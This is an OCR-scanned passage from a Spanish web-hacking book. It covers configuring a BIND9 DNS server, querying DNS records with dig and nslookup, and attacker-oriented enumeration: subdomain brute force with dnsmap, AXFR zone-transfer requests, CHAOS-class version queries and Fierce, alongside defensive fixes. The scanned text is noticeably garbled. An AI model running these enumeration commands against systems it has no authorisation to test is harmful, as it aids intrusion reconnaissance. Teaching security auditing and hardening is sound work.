Vemos que en la altima zona aparece la direccion IP del servidor
DNS, pero invertida y sin el ultimo niimero (lo cual es correcto).
Finalmente, el archivo queda tal como se ve en la Figura 13.

444

)

Estas revistas fueron escritas hace ya varios anos, sin embargo, algunos articulos siguen siendo utiles
en nuestros dias. Son populares por la buena explicacién que brindan de cada tema que presentan. En
internet se consigue toda la coleccion gratis en formato PDF. Cada revista contiene un articulo llamado
Serie raw, que trata a fondo uno de los protocolos.
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GNU nano 2.2.6 Archivo: named.conf.local

» Do any local configuration here
Y

# Consider adding the 1918 zones here, if they are wot used in your
# organization
sinclude “setcsbind/zones.rfc1918"

zone “hackersenlaveb.net” {

type master:

file “setcs/bindsdb.hackersenlaveb.net”:
N

zone "0.168.192. in-addr .arpa"{

type master:
file "setc/bindsdb.192.168.0";

[ 17 lineas leidas 1
[§ Ver ayuda f] Guardar [ Leer Fich gy RePag. i Cortar Texj{# Pos actual
fi] Justificarfll Buscar ! Pag. Sig. i

Figura 13. La direccion IP del servidor DNS cambia segtn la red,
mientras que el nombre de dominio es una eleccion personal.

Una vez que guardamos y cerramos el archivo, podemos
asegurarnos de que no se haya cometido ningan error
de sintaxis mediante el uso del siguiente
comando: named-checkconf.

Si al ejecutarlo no devuelve nada, significa que BIND9
no se ha cometido ningan error, mientras que, de ES EL SERVIDOR
lo contrario, nos devolvera el archivo y la linea ,
donde nos equivocamos. DNS MAS

El siguiente paso es crear los archivos UTILIZADO EN
de configuracién de las zonas. Primero
debemos crear el archivo dh.hackersenlaweh. INTERNET

net a partir de dh.local, ejecutando cp db.local
db.hackersenlaweh.net.

Luego procedemos a editarlo con Nano, Vi, Emacs o cualquier

otro editor de texto.

En este archivo reemplazamos localhost por el nombre del servidor

(en este caso, midns) y en lugar de la IP 127.0.0.1 colocamos la del

servidor (192.168.0.111) o la que corresponda segun nuestra red.

Es probable que en este momento no se comprenda el contenido
del resto del archivo. En las proximas secciones de este capitulo se
explicaran todos los registros DNS.
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GNU nano 2.2.6 Archivo: db.hackersenlaweb.net

; BIND data file for local loopback interface

STTL 604800
IN S0A midns. root.midns. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) : Negative Cache TTL

midns.
192.168.0.111
5 |

[§ Ver ayuda @i Guardar ] Leer Fich g8y RePag. #] Cortar Texj® Pos actual
fil Justificarg! Buscar !l Pag. Sig. gl PegarTxt @M Ortografia

Figura 14. También podemos elegir el nombre
del servidor DNS segun nuestro propio gusto.

Resta crear el archivo de configuracién para la segunda zona. Lo
crearemos a partir de db.hackersenlaweb.net (con el comando:
cp db.hackersenlaweh.net dh.192.168.0) y lo editaremos. Simplemente
debemos modificar las tltimas dos lineas, tal como muestra la Figura
15. El nimero 111 corresponde al ultimo nimero de la IP del servidor
DNS, mientras que el tipo de registro debe ser PTR.

Las ultimas dos lineas del archivo deberian quedar de este modo:

@ IN NS midns.hackersenlaweb.net.
111 IN PTR midns.hackersenlaweb.net.

Para asegurarnos de que no cometimos ningin error de sintaxis
en la edicion de estos dos ultimos archivos, podemos ejecutar los
siguientes comandos: named-checkzone hackersenlaweh.net /etc/bind/
db.hackersenlaweb.net y named-checkzone 0.168.192.in-addr.arpa /etc/bind/
dh.192.168.0.

Si estan escritos correctamente obtendremos un 0K; de lo
contrario, aparecera cual es el error.
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GNU nano 2.2.6 Archivo: db.192.168.0

; BIND data file for local loopback interface

[STTL 604800
IN sS0A midns. root.midns. (
2 : Serial
604800 : Refresh
86400 : Retry
2419200 ; Expire
604800 ) : Negative Cache TTL

midns.hackersenlaweb.net.
midns.hackersenlaweb.net.

8 Ver ayuda fI] Guardar @ Leer Fich @Y RePag. il Cortar Texj® Pos actual
Justificargl Buscar ! Pag. Sig. @Il PegarTxt @ Ortografia

Figura 15. Se debe tener cuidado a la hora de escribir
la IP del servidor DNS en los diferentes archivos de configuracion.

Terminamos con la configuracién de BIND9.

Es necesario reiniciar el servicio cada vez que AL FINALIZAR LA

realizamos un cambio en su configuracion, por CONFIGU RACléN

lo tanto, debemos ejecutar el comando service

bind9 restart. DE BIND9 DEBEMOS
Para saber si ha quedado bien, podemos REINICIAR EL

realizar una prueba sencilla. En la terminal de

nuestro Ubuntu Server, ejecutamos el siguiente SERVICIO

comando: dig hackersenlaweh.net.
La respuesta debe ser similar a la que se
observa en la Figura 16.

VE)

_
BIND (Berkeley Internet Name Domain) fue creado en la década del 80 por estudiantes de la Universidad
de Berkeley, California. Mas tarde, Paul Vixie ayudo a fundar la ISC, organizacion responsable del man-

tenimiento de BIND. El desarrollo de BIND9 presenté grandes mejoras, ya que el codigo fue escrito casi

desde cero e incorpord nuevas funcionalidades.
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sheyBus-shey : vetcsbind$ dig hackersenlaweb.net

; <<>> DiG 9.8.1-P1 <<>> hackersenlaweb.net
;3 global options: +cmd
Got ansuer:
HEADER<<{- opcode: QUERY, status: NOERROR, id: 17235
lags: qr aa rd ra: QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: ©

;5 QUESTION SECTION:
;hackersenlauweb.net. IN

;; ANSWER SECTION:
jhackersenlaweb.net . 604800 IN i 192.168.0.111

:; AUTHORITY SECTION:
jhackersenlaweb.net . 604800 IN NS midns.

;3 Query time: 4 msec
ERVER: 192.168.1.111#53(192.168.1.111)
N: Wed Aug Z1 01:03:48 2013
SIZE rcud: 71

lsheyBus-shey : vetc/bind$

Figura 16. Si nuestra instalacion de BIND9 fue un éxito, el comando
que ejecutamos tiene que devolvernos una respuesta como esta.

Recordemos que hemos creado y configurado una zona para
que nuestro dominio pueda resolverse a la inversa (es decir, si
preguntamos por la IP del servidor DNS, debe responder que
pertenece a midns.hackersenlawehb.net). Podemos verificar si esto
funciona con el comando: dig -x 192.168.0.111, y la respuesta debe ser
la que muestra la Figura 17.

lsheyBus—shey :setes/bindg dig —x 192.168.0.111

; <3 DiG P1 <> —x 192.168.0.111
; global 1 +cnd
;: Got answer:
>>HEADER<<- opcode: QUERY, status: NOERROR, id: 27003
;: flags: gr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: ©

;: QUESTION SECTION:
5111.0.168.192. in-addr.arpa. IN PTR

:: ANSWER SECTION:
111.0.168.192. in-addr.arpa. 604800 IN PTR midns.hackersenlaweb.net.

;; AUTHORITY SECTION:
0.168.192, in—addr .arpa. 604800 IN NS midns.hackersenlaweb.net .

;: Query time: 4 msec

;: SERVER: 192.168.1.111#53(192.168.1.111)
;: WHEN: Wed Aug 21 01:05:39 2013

;; MSG SIZE rcud: 96

sheyPus-shey: etcsbindg _

Figura 17. Tal como configuramos, la IP 192.168.0.111
corresponde a midns.hackersenlaweb.net.
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Herramientas

Hasta aqui hemos aprendido la estructura y el

funcionamiento de este protocolo. Ahora, vamos CON DIG REALIZAMOS
a introducirnos en el analisis de los registros que CONSULTAS A LOS
contienen los servidores DNS. Aunque contamos

con muchas herramientas para hacerlo, nos SERVIDORES DNS
centraremos en dos de ellas: Dig v Nslookup. Y OBTENEMOS

D INFORMACION
Ig

Dig es una herramienta de linea de comandos
para realizar consultas a los servidores DNS y obtener informacién
acerca de ellos. Entre los datos que podremos ver se encuentran las
direcciones IP asociadas a sus nombres de dominio y servidores de
correo (si los hay). Dig se encuentra en sistemas Linux y lo hemos
utilizado en Ubuntu Server para comprobar si nuestro servidor DNS
funcionaba de forma correcta. Esta vez lo vamos a usar desde otra
distribucién Linux, BackTrack, especialmente preparada para realizar
auditorias de seguridad. Esta distribuciéon cuenta con una gran cantidad
de herramientas utiles en lo que respecta a seguridad informatica,
y trataremos algunas de ellas a lo largo del libro.

% root@bt: ~

Figura 18. Realizamos la consulta dig ns dominio.com
y obtenemos una respuesta con los nombres de los servidores DNS.
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Analicemos la Figura 18. La consulta que realizamos es: dig ns
dominio.com. Con ns (nameserver) estamos especificando el tipo de
consulta: queremos saber cuales son los servidores DNS del dominio
en cuestion. Dentro de la respuesta que recibimos, en primer lugar
se nos dan unos detalles técnicos (entre ellos, el dominio consultado,
la versiéon de Dig que estamos utilizando, etcétera). En QUESTION
SECTION tenemos el dominio, la clase (IN) y el tipo (NS) de consulta
que realizamos. Por Gltimo, en ANSWER SECTION obtenemos los datos
que queremos saber: en este caso, el dominio consultado tiene dos
servidores DNS: nsO0.dominio.com y ns-3a.dominio.com.

Nslooku
Esta herramiEnta también es de linea de comandos y viene instalada
en Windows. Podemos usarla con el comando nslookup desde la terminal
(CMD). Para hacer una simple comparacién con
Dig, también vamos a realizar una consulta

NSLOOKUP ES UNA que nos diga cuales son los servidores DNS
HERRAMIENTA DE pertenecientes al dominio consultado.

, Con el comando nslookup accedemos a la
LINEA DE COMANDOS herramienta desde la terminal. El primer paso
PARA HACER es indicar el tipo de consulta: set g=ns. Al igual

que con Dig, la consulta es nameserver (NS)
CONSULTAS ALOS DNS para saber cuales son los servidores DNS.
Luego, indicamos el nombre del dominio del
cual queremos saber estos datos, y ya podremos
obtener una respuesta. Dado que el dominio que usamos es el mismo
que consultamos con Dig, vemos de nuevo los dos servidores DNS:
ns-3a.dominio.com y nsO.dominio.com.

Es la distribucién Linux de seguridad informéatica més conocida en el &mbito, desarrollada por grandes

profesionales. Actualmente esta en su version 5 R3 y cuenta con una enorme cantidad de herramientas
para realizar auditorias de seguridad. Su sitio web es www.backtrack-linux.org y su foro oficial cuenta
con una seccidn para la comunidad de habla hispana.
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n 6.1.76001]
osoft Corporation. Reservados todos los derechos.

terminado: dir-328
192.168.0.1

.COom

: dir-3208
192.168.8.1

-com
.com nameserver = ns@.

ST

Figura 19. Realizamos la consulta a un dominio mediante
Ns1ookup para saber cudles son sus servidores DNS.

Las dos herramientas son buenas y sirven para hacer este tipo
de analisis. En la proxima seccion del capitulo conoceremos en detalle
los tipos de consultas y sus respectivas respuestas, con el objetivo de
analizar los registros de un servidor DNS y obtener informacién util
para realizar un ataque.

Registros DNS

Los registros DNS contienen informacién que puede ser de utilidad
para realizar un ataque. Son varios y cada uno de ellos tiene distintos
datos sobre el dominio y el servidor. Los trataremos uno por uno,
utilizando tanto Dig como Nslookup para realizar las consultas, y
analizaremos detalladamente las respuestas que recibimos.

A

El registro A, que significa Address (direccion), asocia nombres de
dominio con direcciones IPv4 (en caso de ser IPv6 se utiliza el registro
AAAA). Solo se indica una direccién IP por registro A, pero pueden
asociarse varias direcciones a un dominio mediante varios registros A.
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hackersenlaweb.net IN A 221.59.106.72
IN A 221.59.106.74

La herramienta Dig consulta por defecto el registro A si realizamos
una peticion simple como dig dominio.com, tal como se observa en la
Figura 20. Esta vez consultamos a un dominio, que en ANSWER SECTION
nos mostroé tres direcciones IP diferentes asociadas al mismo.

* root@bt: ~
le Edit mina

Figura 20. En este caso hay tres direcciones IP
diferentes asociadas a un mismo dominio.

Con Nslookup la consulta se hace de otra manera. Como vimos, con el
comando nslookup desde la terminal accedemos a ella; primero indicamos
que la consulta es de tipo A (set g=a) y luego el dominio a consultar.

En este caso, tenemos asociadas cinco direcciones IP diferentes.

El protocolo TCP, a diferencia de UDP, es orientado a conexion. Esto quiere decir que necesita establecer

una comunicacion para poder transferir datos, algo que lo vuelve mas lento que UDP pero mas seguro.
TCP garantiza que nuestra consulta llegd a destino y se mantendra la comunicacién hasta que se cierre.
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]

Bl Administrador: Simbolo del sistema - nslookup = I Z8

IC:\Users\shey>nslookup
Servidor edeterminado: dir-328
Address: i

¥
192.168.68.1

a no autoritativa:

Figura 21. Este dominio tiene cinco direcciones IP
asociadas, pero puede haber casos en que haya solo una.

NS

Sobre este registro ya hemos hablado en LOS REGISTROS DNS
las explicaciones sobre las herramientas Dig y CONTIENEN DATOS
Nslookup. NS significa NameServer (servidor
de nombres, en espafiol). INTERESANTES

Como vimos, permite saber cuales son SOBRE EL DOMINIO Y
los servidores DNS que responden a un
determinado dominio, pero es posible que EL SERVIDOR

haya mas de un servidor de nombres asociado
a un mismo dominio.

IN NS midns.
IN A 192.168.0.111

En la seccion anterior del presente capitulo, cuando configuramos
BIND9 expusimos como ejemplo a midns como el servidor de nombres.

Sin embargo, no alcanza con sélo eso, ya que también resulta
necesario especificar su direccion IP mediante el registro A.
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* root@bt: ~

File Edit

view Term

inal

Figura 22. Consulta de tipo NS con Dig a un dominio
asociado a seis servidores de nombres.

SOA

El registro SOA (Start of Authority) contiene datos que pueden
resultar sumamente interesantes. Cuando instalamos y configuramos
BIND9, creamos un archivo llamado db.hackersenlaweb.net que, en
la practica, viene a ser este registro, de contenido similar al siguiente:

@ IN SOA midns.net. root.midns.net. (
2011060202 ; Serial
3600 ; Refresh
1200 ; Retry
432000 ; Expire
600 ) ; Negative cache TTL

Los datos que vemos son los siguientes (nétese que algunos tiempos

estan en segundos):

e root.midns.net:

(el primer punto
e Serial o nimero

es el contacto con el administrador de la zona
se reemplaza por el arroba: root@midns.net);
de serie: nimero que se incrementa cada vez que

se modifica algun registro de la zona (los servidores secundarios
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consultan cada cierto tiempo el serial del servidor primario para
saber si deben actualizarse o no);

e Refresh: tiempo (segundos) que tiene que esperar un servidor secundario
para ponerse en contacto con uno primario y revisar el serial de
su registro SOA (en caso de estar desactualizado, se actualizara);

e Retry: define el tiempo (segundos) que un servidor DNS
secundario espera para volver a intentar una transferencia de zona
(actualizarse) en caso de que la primera haya fallado;

e Expire: tiempo (segundos) de validez para la informacion de un
servidor DNS secundario. Si luego de la ultima transferencia de zona
este tiempo es superado y no ha podido actualizarse nuevamente, el
servidor descartara su informacion;

e Negative cache TTL: establece el Time To Live (tiempo de vida) de
una respuesta negativa (cuando un servidor contesta que un registro
no existe en la zona).

lIIIIIIIIIIIIII!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII'

B Administrador: Simbolo del sistema - nslookup ol ==
1 6.1.76801

osoft Corporation. Reservados todos los derechos.

Add

> set g=soa
-com

r: dir-328
192.168.8.1

no autoritativa:

¢ = ngl. .com
lr = hostmaster. —inc.com

Figura 23. Consulta de tipo SOA con la herramienta
Nslookup a un determinado dominio.

Para la demostracion de este registro utilizamos Nslookup. Aquellos
que prefieran usar Linux deben utilizar el comando dig SOA dominio.com.

MX

El registro Mail eXchange (intercambio de correo) especifica el
servidor encargado de procesar los correos electrénicos del dominio.
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En caso de que haya mas de un servidor, se establece un orden de
preferencias indicado con un nimero. Si una aplicacion intenta enviar
un correo a este dominio, intentara conectarse en primer lugar con el
servidor que tenga el nimero de preferencia mas bajo.

IN MX 8 mail-2.dominio.com.
IN MX 2 mail.dominio.com.

En la Figura 24 podemos ver un ejemplo de consulta MX a
un dominio que posee dos servidores de intercambio de correo.
Cuando se envia un mail a través de internet, el agente de
transferencia de correo solicita el registro MX del dominio destino
(por ejemplo, si el correo es shey.x7@gmail.com, se solicita el registro
MX a gmail.com). La respuesta recibida contiene los servidores de
intercambio de correo asociados a dicho dominio, junto al nimero
de preferencia. En primer lugar, intentara conectar y enviar el mail
al servidor con el nimero mas bajo. En el caso de la Figura 24, se
enviaria a mail.dominio.com, que tiene el nimero dos.

Figura 24. Con el comando dig MX dominio.com
obtenemos los servidores de intercambio
de correo asociados al dominio consultado.
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Otros registros

Hasta aqui hemos tratado cuatro registros importantes: A, NS, SOA
y MX, pero no son los inicos. CNAME (Canonical NAME) es otro registro
DNS usado para asociar mas de un nombre a un solo servidor con una
unica direccién IP. Es 1til si se corren multiples servicios, de modo
que cada uno de ellos podria tener su propio nombre, por ejemplo:
ftp.dominio.net, mail.dominio.net, www.dominio.net, etcétera.

Otro registro muy comun es PTR (PoinTeR), que cumple la funcion
contraria al registro A: asocia direcciones IP a nombres de dominio y
sirve para su resolucion inversa. En la instalacion de BIND9 creamos
un registro PTR y comprobamos si funcionaba correctamente con el
comando dig -x 192.168.0.111.

Existen aln mas registros DNS pero no siempre son creados, lo que
significa que, muchas veces, consultaremos a un dominio sobre estos
registros y no recibiremos la respuesta exacta a nuestra consulta. Algunos
de ellos son: SRV (SeRVice), LOC (LOCation) y HINFO (Host INFOrmation).

Desde el punto de vista de un atacante, mediante las consultas a
los registros de un servidor DNS se puede obtener informacién muy
interesante sobre el dominio que se esté analizando. Sin embargo,
podriamos preguntarnos: ;se puede llegar ain mas lejos?

Técnicas de extraccion
de datos

Se dice que si un intruso no puede entrar por la puerta, ingresa
por la ventana. Los DNS son una herramienta bastante utilizada por los
atacantes para obtener informacion sobre la estructura interna de una

En la actualidad es demasiado comin encontrarnos con correo electrénico no deseado, SPAM y remiten-

tes falsificados. El resultado de la fusion entre DomainKeys e Identified Internet Mail fue DKIM, un

sistema que verifica si el correo que recibimos proviene realmente de donde dice provenir.
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web y facilitar un acceso. La idea es aprender algunas de estas técnicas
con el objetivo de saber como proteger nuestro sistema.

Ya sabemos como obtener direcciones IP, servidores DNS y de
intercambio de correo, datos del registro SOA y otra informacion
asociada a un dominio, mediante consultas a los registros A, NS,

SOA y MX. Pero podemos llegar atin mas lejos en lo que respecta a la
obtencion de datos a través de los DNS.

Extraccion por fuerza bruta

En internet podemos encontrar sitios web muy grandes, con una
inmensa cantidad de contenidos. Sin ir mas lejos, podemos nombrar a
Google, desde cuya pagina principal podemos acceder a varios de sus
servicios, como el traductor, imagenes, videos, mapas, noticias, correo
electrénico, etcétera. Cuando ingresamos al buscador lo hacemos
desde www.google.com, pero si accedemos a los diferentes servicios
podemos observar que la direccién URL cambia. Por ejemplo, la pagina
web de Google Maps es maps.google.com; en el caso de los videos,
video.google.com,; el correo electronico, mail.google.com; noticias,
news.google.com. Lo mismo ocurre con los demas servicios. El
dominio sigue siendo google.com, pero a esos nombres que varian
se los llama subdominios.

Figura 25. Cada servicio de Google tiene su correspondiente
subdominio, lo que organiza la administracion y el contenido.
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Desde el punto de vista del hacker, esos subdominios comunes
y corrientes no son de importancia, ya que no aportan ningiin dato
significativo para llevar a cabo un ataque. Sin embargo, el hecho
de que existan presenta la posibilidad de que haya otros que no
se ven a simple vista, pero que valgan la pena encontrar. Muchos
administradores crean subdominios, por ejemplo de paneles de
administracion, inaccesibles desde la pagina web pero faciles de
encontrar con un poco de esmero.

Un subdominio interesante para un hacker podria ser, légicamente,
la zona de administracion, el correo, intranet, FTP, webmail, etcétera.
Cualquier sitio web, grande o pequefio, con subdominios visibles o
no, puede contener algunos de los nombres mencionados. Ahora bien,
si no se ven... ;jcomo los descubrimos? Un modo de hacerlo seria ir
probando manualmente desde el navegador los posibles subdominios.
Por ejemplo, si queremos encontrar el panel de administracion,
empezamos con admin.dominio.com, administracion.dominio.
com, adm.dominio.com, y asi sucesivamente con todas las
posibilidades que se nos ocurran, hasta que, si tenemos suerte, se
muestre lo que queremos en lugar del error 404. Esta claro que esta
manera es realmente tediosa, ademas de consumirnos mucho tiempo,
e incluso puede que aunque intentemos varias combinaciones
diferentes no demos con el subdominio que queremos encontrar.

Lo ideal seria contar con una herramienta que, al pasarle
como parametro el dominio objetivo, nos dé una lista con sus
correspondientes subdominios: de eso se trata la técnica conocida
como DNS Brute Force (fuerza bruta). En esta se usa como base
un archivo de texto que contiene muchas combinaciones de letras,

y la herramienta se ocupa de comprobar si existe cada uno de los
subdominios que va formando en el dominio pasado como parametro.

No es necesario saber mucho de programacion para crear un simple DNS Brute Force. Si tenemos cono-

cimientos en PHP, por ejemplo, podemos programar uno sencillo con una lista de posibles subdominios
y un script PHP que reciba de pardmetro el dominio a analizar e intente conectar sin errores a cada uno
de los nombres de la lista, y en caso de que exista imprimirlo en pantalla.
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En la nombrada distribucion Linux BackTrack contamos con varias
herramientas para realizarlo, como dnsmap.

¥ root@bt: /pentest/enumeration/dns/dnsmap

Figura 26. Dnsmap es una de las herramientas que encontramos
en BackTrack para realizar un ataque de DNS Brute Force.

Si ingresamos a la ubicacién /pentest/enumeration/dns/dnsmap/
encontramos el archivo wordlist_TLAs.txt, que tiene las combinaciones para
realizar un ataque de fuerza bruta. Es recomendable utilizar también las
demas herramientas que tenemos a disposicién en BackTrack y que sirven
para esto (mas adelante, en la seccion Amigos dispuestos a ayudar de
este mismo capitulo, trataremos algunas de ellas).

Para hacerlo desde dnsmap, nos situamos en la ubicacién dicha,
desde la terminal, y ejecutamos Jdnsmap dominio.net -w wordlist_TLAs.txt
(se pueden agregar mas parametros). Luego esperamos a que finalice el
proceso y se muestren los subdominios hallados en nuestro objetivo.

Esta altima técnica, sin embargo, tiene sus desventajas: el DNS Brute
Force consume tiempo y no garantiza mostrarnos todos los nombres que
existan en el objetivo. No habria nada mejor que una técnica que nos
muestre de manera rapida absolutamente todos los subdominios... jexiste?

Paseo por los registros

Seguimos con la idea de obtener los subdominios de un objetivo.
Otro modo de hacerlo es utilizar la técnica AXFR, siglas que hacen
referencia a la transferencia de zonas.
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Al comienzo del capitulo aprendimos cuales eran los servidores
DNS primarios y secundarios, y luego vimos que en el registro SOA
se especifica cada cuanto tiempo un servidor secundario consulta el
serial de uno primario para saber si debe realizar una transferencia
de zona y actualizarse. Lo interesante es que estos servidores se
transfieren lo que nosotros queremos. Existe la posibilidad de
hacernos pasar por servidores DNS secundarios y solicitar al primario
una transferencia de zona, de modo tal que nos envie todos los
subdominios de nuestro objetivo.

¢me envias las zonas? Jme envias las zonas?
l si, las zonas son... . si, las zonas son... e
PC hacker Servidor DNS Servidor DNS
primario secundario

Figura 27. La técnica AXFR se produce cuando el atacante
solicita una transferencia de zonas a un servidor
DNS primario, tal como lo haria un servidor secundario.

Para realizar una transferencia de zona o AXFR ,
vamos a usar las herramientas Dig y Nslookup. LA TECNICA
Empecemos por Dig. Lo primero que tenemos AXFR PERMITE
que hacer es averiguar los servidores DNS del
objetivo, para lo cual ejecutaremos el comando OBTENER
dig ns dominio.com.ar, tal como lo hicimos en LOS SUBDOMINIOS
las secciones anteriores. Elegimos uno de los
servidores que nos imprima en la terminal v, DE UN OBJETIVO
acto seguido, realizamos la transferencia de
zonas con el siguiente comando: dig @servidordns.
com dominio.com.ar AXFR. A continuacién del @ escribimos el servidor
DNS que elegimos, luego el dominio a consultar y al final indicamos
qué es un AXFR.
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* root@bt: ~

Figura 28. En este caso el servidor es vulnerable a AXFR, por lo que,
en un segundo, obtuvimos subdominios interesantes de FTP y mail.

Mediante Nslookup también podemos realizar la técnica de AXFR.
Accedemos desde la terminal y averiguamos cuales son los servidores
DNS (set g=ns) y el dominio. Nos decidimos por uno de los servidores
y lo indicamos ejecutando server servidordns.com. Luego, listamos los
subdominios con el comando Is —d dominio.com.

c . SOA - .com root.

981208 28960

.com.ar
= s=spfl include:spf.
—all"

-com.ar. S nsl. .com
-Com.ar. 5 ns2. -com
-COMm.ar. A 288. 117,

ftp -com.ar

localhest n 127.8.8.1

mail

mailman

v

2 - B -850
P81200 28080 7200 200PE06 86480
>

Figura 29. Mediante la herramienta Nslookup también
se puede realizar un AXFR y obtener los subdominios del objetivo.

Quizas nos preguntemos... si es tan facil obtener los subdominios con
esta técnica ;jpara qué existen las demas? Para desgracia del atacante, un

» www.redusers.com



WEB HACKING E=5E 75

AXFR solo puede lograrse si el servidor DNS esta mal configurado,
de modo que permita transferir las zonas a donde no debe hacerlo.
Esta falla en los servidores DNS se conoce como Vulnerabilidad de
Transferencia de Zona. Si el servidor esta bien configurado,
directamente va a rechazar la peticion realizada por el atacante.

.com
-com

.com

.com

r ns4.

r predeterminado:
E .239.22.10

-com
.coml
se puede hacer una lista del dominio .com: Query refused
servidor DNS rechazé la transferencia de la zona -com a su uipo. Si

incorrecto, compruebe la configuracién de seguridad de la zona de transferencia
para -.com en el servidor DNS en la direccidén IP -239. .18.

>

Figura 30. En caso de que el servidor DNS esté bien configurado,
nos devolvera un mensaje de rechazo de nuestra peticion.

Ahora bien, si somos nosotros los administradores y tenemos
un servidor DNS que hace transferencias de zona a cualquier lado,
no hay que desesperarse, porque se trata de un problema muy facil
de solucionar. Cuando instalamos BIND9 y creamos las zonas, editamos
un archivo llamado named.conf.local. Lo que debemos hacer en este archivo
es limitar las transferencias de zona tinicamente a los servidores DNS
secundarios. Para ello, debemos agregar a la zona la siguiente linea: allow-
transfer { 192.168.0.102; }; (entre llaves va la IP del servidor secundario).

Zone “hackersenlaweb.net” {
type master;
file “/etc/bind/db.hackersenlaweb.net”;
allow-transfer { 192.168.0.102; };
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Clase CH (CHAOS)

Es probable que, al obtener las respuestas a nuestras consultas,
hayamos notado en todas ellas las letras IN y a su derecha el tipo de
consulta (A, NS, MX o cualquier otro). Eso significa que estos registros
pertenecen a la clase IN (INTERNET). También existe la clase CH
(CHAOS), que contiene registros internos.

Un dato interesante que podriamos obtener a través de esta clase es
la version de BIND que esta corriendo el servidor DNS. Las diferentes
versiones de este software podrian tener fallas de seguridad y ser
explotadas, beneficiando al atacante. Para saber si es vulnerable o no
un determinado servidor, primero hay que saber qué versién de BIND
tiene, para lo cual hay que consultar la clase CH.

Realicemos esta consulta mediante Dig. El dominio objetivo, en este
caso, va a ser el que creamos en nuestra instalacion de BIND: desde la
terminal ejecutamos dig hackersenlaweb.net version.bind chaos TXT. Primero
indicamos el dominio objetivo, luego version.hind (el registro que tiene
la version de BIND), luego chaes (la clase que contiene este registro)

y por ultimo TXT (porque estamos solicitando informacion textual).

Figura 31. Realizamos una consulta a la clase chaos
para averiguar la version de BIND; en este caso, es la 9.7.1-P2.

Modificar este dato es simple y util, ya que si consigue consultar
esta clase, el supuesto atacante no lograra ver lo que desea. Para
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modificar la versiéon vamos a editar el archivo named.conf.options, que se
encuentra en fetc/hind/. Agregamos la siguiente linea: version “nada mejor
que hacer?”’; y reiniciamos el servicio de BIND. Cuando consultemos,
saldra la version que nosotros pusimos en lugar de la real.

El registro hostname.bind nos muestra el nombre de la maquina
que estamos analizando. La consulta es similar a la anterior, excepto
en que cambia el registro que consultamos: en lugar de version.bind
escribiremos hostname.hind, para que quede de la siguiente manera:
dig hackersenlaweh.net hostname.hind chaos TXT. Podemos ver la respuesta
en la Figura 32: el nombre del host es us-shey, tal como fue
especificado en la instalacién de Ubuntu Server del Capitulo 1.

v % root@bt: ~
File Edit View Terminal Help

Figura 32. Realizamos una consulta a la clase chaos
para averiguar el nombre de la maquina que estamos analizando.

Amigos dispuestos a ayudar

La enumeracion DNS es clave para la etapa de recopilacion de
informacién en una auditoria de seguridad. Ahi es donde obtenemos
datos mas especificos y utiles para un ataque, como las direcciones IP
asociadas a los servicios de FTP, mail, etcétera. Tendremos que llevar a
cabo todas las técnicas de extraccion de datos aprendidas hasta ahora,
con el objetivo de obtener toda la informacién posible sobre
los servidores DNS pertenecientes al dominio en cuestién.
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Si bien hemos hecho todo esto mediante Dig y Nslookup, también
tenemos otros muy buenos amigos que nos van a facilitar el trabajo.
Hablamos de las herramientas que tenemos a nuestra disposicion,
tanto online como de escritorio, dentro de la suite BackTrack.

Recursos online

Varios sitios web ofrecen la herramienta Whois (por ejemplo,
whois.domaintools.com), con la cual obtenemos datos sobre el
registro del dominio que consultemos. Por otro lado, tenemos la pagina
de DNSstuff (www.dnsstuff.com/tools), con una gran cantidad de
herramientas para el analisis de DNS, algunas pagas y otras gratuitas.
Entre ellas encontramos Traceroute, que sirve para saber cuantos
dispositivos atraviesa una consulta desde su origen hasta su destino
(como routers o firewalls), y DNS Traversal, para verificar cuantos
servidores dan la misma respuesta a nuestra consulta.

e :_R;"‘:‘?‘m“ = IF Tools 5:’6 Networking Tools &2 Emai Tools L";l‘—‘;&‘“

=it Demain Teols -~ |

DNSreport 4 WHOIS/IPWHOIS Lookup » WWW Co-host Tool 4

o t what w
Top Level Domain (TLD) Lookup v S5L Examination - Abuze Lookup -
viaw Com e ount If @ domain 15 svailabie How @0 | get S50 cosfiguration details oo & hest oW do 1 find abuse contact far 3 domain
- -
159 Cached DNS Lookup - Website Info - DNS Lookup >
W v vaedt from my H
wiet ong test p
o o
. = |

Figura 33. DNSstuff (www.dnsstuff.com/tools) es un sitio
web que ofrece muy buenas herramientas para el analisis de DNS.

Otra herramienta online interesante es Domain Dossier, que
encontramos en el sitio www.niclookup.com. Ofrece la posibilidad
de elegir el tipo de analisis que se va a realizar, por ejemplo: Whois
de dominio y red, Traceroute, Escaneo de servicios, entre otras.
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Un recurso muy util para Firefox es el plugin

Passive Recon. Una vez que lo instalamos, EXISTEN MUCHAS
cuando presionamos el boton secundario del HERRAMIENTAS
mouse en alguna parte del sitio que queremos

analizar, podemos ver un nuevo menu ONLINE Y DE
correspondiente a este plugin. Las herramientas ESCRITORIO PARA EL
que contiene se dividen por categoria (DNS, )

Email, Enumeration, Google, IP y Whois) ANALISIS DE DNS

y segun el tipo de analisis se consultara

determinada web (algunas de las que se utilizan

son www.robtex.com, www.intodns.com, www.domaintools.com
y www.centralops.net).

Herramientas de escritorio

Tal como mencionamos antes, existen otras herramientas
interesantes ademas de Dig y Nslookup, que podemos utilizar
comodamente desde la suite Backtrack. En esta seccion trataremos
dos de ellas: Fierce y DNSrecon.

Fierce es una aplicacién programada en Perl que podemos
ejecutar tanto en Windows como en Linux, usando un intérprete de este
lenguaje. La obtenemos de su web oficial (http://ha.ckers.org/fierce)
y, en BackTrack, la encontramos en la categoria DNS Analysis, dentro de
Information Gathering.

Empezando por lo simple, si bien Fierce tiene muchos parametros
interesantes, podemos empezar por el mas sencillo: perl fierce.
pl -dns dominioaescanear.com. Con esto nos mostrara, en primer
lugar, los servidores DNS del dominio y luego intentara realizar
un AXFR a todos; en caso de que no pueda, tratara de obtener los

Domain Name System Security Extensions (DNSSEC), tal como indica su nombre, es una extension de

seguridad para los DNS. El objetivo es verificar la autenticidad de la respuesta a una consulta, es decir,
que provenga realmente de donde dice provenir. Cabe aclarar que DNSSEC no cifra las transferencias
de datos establecidas entre un cliente y un servidor.
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subdominios usando un diccionario de palabras e imprimira en
la terminal todos los que encuentre.

Otro parametro interesante es —-range, que sirve para escanear un
